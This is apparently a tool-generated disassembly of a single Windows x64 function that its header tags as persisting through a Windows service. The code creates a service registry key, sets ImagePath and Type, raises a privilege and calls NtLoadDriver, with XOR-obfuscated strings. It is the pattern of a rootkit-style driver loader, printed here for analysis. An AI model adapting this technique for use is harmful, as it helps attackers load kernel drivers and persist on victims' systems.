Function at 0x140014a80
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x240
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140060060]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rsi, rcx
mov rdi, qword [rcx + 0x10]
mov rbx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140014acf
mov rbx, qword [rcx]
call fcn.1400188a8
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140014810
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea rbx, [rcx + rax*2]
mov r11, rbx
mov rdx, rbx
call fcn.140014970
cmp rax, rbx
je 0x140014b3b
nop word [rax + rax]
lea rcx, [r11 - 2]
movzx edx, word [rcx]
cmp dx, 0x5c
je 0x140014b3b
cmp dx, 0x2f
je 0x140014b3b
mov r11, rcx
cmp rax, rcx
jne 0x140014b20
sub rbx, r11
sar rbx, 1
xor r13d, r13d
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 7
mov word [rbp + 0x80], r13w
mov r8, rbx
mov rdx, r11
lea rcx, [rbp + 0x80]
call fcn.1400090a0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14000eec0
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x140014bcf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014bca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015768
call fcn.140018f00
movdqa xmm0, xmmword [0x140058a20]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140014c29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014c24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001576e
call fcn.140018f00
movdqa xmm0, xmmword [0x140058a20]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r13w
mov r15, qword [rbp + 0x60]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x22
jb 0x140015774
lea r12, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r12, qword [rbp + 0x50]
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
lea r14, [r15 + 0x22]
mov edi, 0xf
lea rbx, [rbp + 0x30]
lea eax, [rdi + 7]
lea rdx, [rdi - 0x10]
cmp r14, rdi
jbe 0x140014cfc
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x140014c9f
mov rdi, rcx
jmp 0x140014ca6
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140014ce6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001577a
mov rcx, rax
call fcn.140019444
test rax, rax
je 0x14001579e
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140014cf8
test rcx, rcx
je 0x140014cf5
call fcn.140019444
mov rbx, rax
jmp 0x140014cf8
mov rbx, r13
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], rdi
movups xmm0, xmmword [str.SYSTEMCurrentControlSetServices_]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140058930]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x140058940]
mov word [rbx + 0x20], ax
lea rcx, [rbx + 0x22]
mov r8, r15
mov rdx, r12
call fcn.14001b0c0
mov byte [rbx + r14], 0
mov r15, qword [rsi + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 4
jb 0x140015780
cmp qword [rsi + 0x18], 0x10
jb 0x140014d60
mov rsi, qword [rsi]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
lea r14, [r15 + 4]
mov edi, 0xf
lea rbx, [rbp + 0x10]
cmp r14, rdi
jbe 0x140014df9
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x140014d8f
mov rdi, rcx
jmp 0x140014d9c
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140014de3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140015786
mov rcx, rax
call fcn.140019444
test rax, rax
je 0x14001578c
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140014df5
test rcx, rcx
je 0x140014df2
call fcn.140019444
mov rbx, rax
jmp 0x140014df5
mov rbx, r13
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], rdi
mov dword [rbx], 0x5c3f3f5c
lea rcx, [rbx + 4]
mov r8, r15
mov rdx, rsi
call fcn.14001b0c0
mov byte [rbx + r14], 0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
lea r8, [rbp - 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140014fff
movabs rax, 0xd45e6784a02c4573
mov qword [rbp + 0x80], rax
movabs rax, 0xebdba7459ad46c04
mov qword [rbp + 0x88], rax
movabs rax, 0xf4b85cee7d0e180d
mov qword [rbp + 0x90], rax
movabs rax, 0x8f605fefffd74b76
mov qword [rbp + 0x98], rax
movabs rax, 0xf33006c780716828
mov qword [rsp + 0x30], rax
movabs rax, 0x8eafc620e8b74c70
mov qword [rsp + 0x38], rax
movabs rax, 0x91db35980f6b6b2d
mov qword [rsp + 0x40], rax
movabs rax, 0x8f605fe586b22056
mov qword [rsp + 0x48], rax
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.140001210
xor bl, bl
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140014f31
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014f2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001578c
call fcn.140018f00
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140014f7c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014f77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001579e
call fcn.140018f00
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140014fc7
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014fc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015762
call fcn.140018f00
movzx eax, bl
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140018ee0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp - 0x20]
test eax, eax
je 0x14001514a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xd45e6784a02c4573
mov qword [rbp + 0x80], rax
movabs rax, 0xebdba7459ad46c04
mov qword [rbp + 0x88], rax
movabs rax, 0xf4b85cee7d0e180d
mov qword [rbp + 0x90], rax
movabs rax, 0x8f605fefffd74b76
mov qword [rbp + 0x98], rax
movabs rax, 0xa743ab30f2adf2d7
mov qword [rbp + 0xa0], rax
movabs rcx, 0xb981cc91550a9578
movabs rax, 0xf33006c780716828
mov qword [rsp + 0x30], rax
movabs rax, 0x8eafc620e8b74c70
mov qword [rsp + 0x38], rax
movabs rax, 0xa4dd3b8f10473f2d
mov qword [rsp + 0x40], rax
movabs rax, 0xe8052dcfd8bf3f17
mov qword [rsp + 0x48], rax
movabs rax, 0xc6358b4980d981be
mov qword [rsp + 0x50], rax
movabs rax, 0xb981cc915f6fe014
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xa8], rcx
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x30]
jmp 0x140014eef
mov dword [rsp + 0x28], 4
lea rax, [0x140058a10]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp - 0x20]
test eax, eax
je 0x140015239
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xd45e6784a02c4573
mov qword [rbp + 0x80], rax
movabs rax, 0xebdba7459ad46c04
mov qword [rbp + 0x88], rax
movabs rax, 0xf4b85cee7d0e180d
mov qword [rbp + 0x90], rax
movabs rax, 0x8f605fefffd74b76
mov qword [rbp + 0x98], rax
movabs rax, 0xa743ab30f2adf2d7
mov qword [rbp + 0xa0], rax
movabs rcx, 0xb981cc91550a9578
movabs rax, 0xf33006c780716828
mov qword [rsp + 0x30], rax
movabs rax, 0x8eafc620e8b74c70
mov qword [rsp + 0x38], rax
movabs rax, 0xd49f399e045a3f2d
mov qword [rsp + 0x40], rax
movabs rax, 0xf6122b9c96b02e04
mov qword [rsp + 0x48], rax
movabs rax, 0xa749ce459ecc84f7
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
jmp 0x1400150fd
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x14004ff30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x140014ef4
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea r9, [rbp - 0x18]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call rbx
test eax, eax
jns 0x1400154c2
movabs rax, 0xd45e6784a02c4573
mov qword [rbp + 0xb0], rax
movabs rax, 0xebdba7459ad46c04
mov qword [rbp + 0xb8], rax
movabs rax, 0xf4b85cee7d0e180d
mov qword [rbp + 0xc0], rax
movabs rax, 0x8f605fefffd74b76
mov qword [rbp + 0xc8], rax
movabs rax, 0xa743ab30f2adf2d7
mov qword [rbp + 0xd0], rax
movabs rcx, 0xb981cc91550a9578
mov qword [rbp + 0xd8], rcx
movabs rax, 0xe008993a3dcd18e1
mov qword [rbp + 0xe0], rax
movabs rax, 0x482b94fb555776ca
mov qword [rbp + 0xe8], rax
movabs rax, 0xca1f15ec9ba8765b
mov qword [rbp + 0xf0], rax
movabs rax, 0xbe4a882dc628e30c
mov qword [rbp + 0xf8], rax
movabs rax, 0x35c4bb16fd4a29b5
mov qword [rbp + 0x100], rax
movabs rax, 0x20165ab76530513e
mov qword [rbp + 0x108], rax
movabs rax, 0x3ef35383370d1bf
mov qword [rbp + 0x110], rax
movabs rcx, 0xc2eaf339125a4880
mov qword [rbp + 0x118], rcx
movabs rax, 0xa63b47e8c1582435
mov qword [rsp + 0x70], rax
movabs rax, 0x82bac165a0a60376
mov qword [rsp + 0x78], rax
movabs rax, 0x9598339a5d6a7d61
mov qword [rbp - 0x80], rax
movabs rax, 0xdc403a9d96a23a15
mov qword [rbp - 0x78], rax
movabs rax, 0xe31cef71bde1ad92
mov qword [rbp - 0x70], rax
movabs rax, 0xebd193c3105cdc2a
mov qword [rbp - 0x68], rax
movabs rax, 0xce4dde7f71844ea8
mov qword [rbp - 0x60], rax
movabs rax, 0x3d58b49e3e363bea
mov qword [rbp - 0x58], rax
movabs rax, 0xab3f6083e2881329
mov qword [rbp - 0x50], rax
movabs rax, 0xd724e658b408867e
mov qword [rbp - 0x48], rax
movabs rax, 0x51a59b659c6a4edb
mov qword [rbp - 0x40], rax
movabs rax, 0x41642ec40c5e3853
mov qword [rbp - 0x38], rax
movabs rax, 0x3ef35321d02becb
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x80]
movups xmm2, xmmword [rbp - 0x70]
movups xmm3, xmmword [rbp - 0x60]
movups xmm4, xmmword [rbp - 0x50]
movups xmm5, xmmword [rbp - 0x40]
movups xmm6, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x70], xmm0
pxor xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x80], xmm1
pxor xmm2, xmmword [rbp + 0xd0]
movdqa xmmword [rbp - 0x70], xmm2
pxor xmm3, xmmword [rbp + 0xe0]
movdqa xmmword [rbp - 0x60], xmm3
pxor xmm4, xmmword [rbp + 0xf0]
movdqa xmmword [rbp - 0x50], xmm4
pxor xmm5, xmmword [rbp + 0x100]
movdqa xmmword [rbp - 0x40], xmm5
pxor xmm6, xmmword [rbp + 0x110]
movdqa xmmword [rbp - 0x30], xmm6
lea rcx, [rsp + 0x70]
jmp 0x140014eef
lea rdi, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rdi, qword [rbp + 0x50]
add rdi, qword [rbp + 0x60]
lea rbx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rbx, qword [rbp + 0x50]
mov qword [rbp - 0x10], r13
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
mov rdx, rdi
sub rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140007860
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
cmp rbx, rdi
je 0x140015564
nop dword [rax]
nop dword [rax + rax]
movsx r9d, byte [rbx]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
cmp rcx, rdx
jae 0x140015553
lea rax, [rcx + 1]
mov qword [rbp], rax
lea rax, [rbp - 0x10]
cmp rdx, 8
cmovae rax, qword [rbp - 0x10]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r13w
jmp 0x14001555c
lea rcx, [rbp - 0x10]
call fcn.14000c0d0
inc rbx
cmp rbx, rdi
jne 0x140015520
lea r8, [rbp - 0x10]
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rsp + 0x30]
call fcn.14000b730
mov rbx, rax
lea rax, [rbp - 0x10]
cmp rax, rbx
je 0x1400155f5
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1400155c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400155c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015792
call fcn.140018f00
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140015637
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015632
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015792
call fcn.140018f00
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x70]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x70]
call rsi
mov ebx, eax
movabs rax, 0xd45e6784a02c4573
mov qword [rbp + 0x80], rax
movabs rax, 0xebdba7459ad46c04
mov qword [rbp + 0x88], rax
movabs rax, 0xf4b85cee7d0e180d
mov qword [rbp + 0x90], rax
movabs rax, 0x8f605fefffd74b76
mov qword [rbp + 0x98], rax
movabs rax, 0xbb1213ca80716e28
mov qword [rsp + 0x30], rax
movabs rax, 0x99bed12ce8900865
mov qword [rsp + 0x38], rax
movabs rax, 0xd4cb299a1c7a4b2d
mov qword [rsp + 0x40], rax
movabs rax, 0x8f60559793f23346
mov qword [rsp + 0x48], rax
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140001210
test ebx, ebx
setns bl
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x14001574c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015747
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015798
call fcn.140018f00
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
jmp 0x140014ef6
call fcn.1400226a0
nop
call fcn.1400226a0
nop
call fcn.1400226a0
int3
call fcn.140001c50
int3
call fcn.140001bb0
nop
call fcn.140001c50
int3
call fcn.140001bb0
int3
call fcn.1400226a0
nop
call fcn.1400226a0
nop
call fcn.1400226a0
nop
call fcn.1400226a0
int3